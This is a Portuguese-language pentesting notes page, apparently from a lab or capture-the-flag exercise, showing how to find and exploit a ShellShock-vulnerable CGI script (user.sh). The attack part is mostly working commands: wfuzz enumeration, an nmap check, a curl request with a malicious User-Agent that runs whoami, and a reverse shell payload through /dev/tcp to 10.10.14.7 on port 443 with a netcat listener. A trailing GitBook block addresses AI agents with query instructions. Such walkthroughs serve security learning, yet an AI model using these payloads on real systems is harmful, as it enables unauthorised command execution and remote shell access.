> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/shellshock-attack/shellshock-user.sh-pentesting-web.md).

# ShellShock user.sh

## ShellShock

#### Procurar Arquivos Exploráveis

Filtramos arquivos com extensões como `.sh`, `.pl` , ou `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z

```

O **user.sh** arquivo é identificado. Este script parece dinâmico e pode ser vulnerável.

<figure><img src="/files/9924df7fdf07641705ecaa0e61e32c834ae25e2d" alt=""><figcaption></figcaption></figure>

#### Detecção de Vulnerabilidade

Usamos o script do Nmap abaixo para testar a vulnerabilidade:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56

```

A varredura confirma que o arquivo **user.sh** é vulnerável ao ShellShock.

<figure><img src="/files/5176d0733016764f7325c4b1b0cf27757ab21158" alt=""><figcaption></figcaption></figure>

#### Execução de comandos

Para testar a execução de comandos, usamos **curl** com um User-Agent malicioso:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

Isso retorna o nome do usuário ativo.

<figure><img src="/files/2343c6b38f3bb24dd6a0e70712da37c52fab4b2a" alt=""><figcaption></figcaption></figure>

#### Shell reverso

Para obter uma shell reversa:

1. Escute na porta 443:

```bash
nc -nlvp 443

```

2. Injete o payload abaixo:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

```

<figure><img src="/files/36590d8991e57ada4a5c6e04684cbcda7e21188d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/shellshock-attack/shellshock-user.sh-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
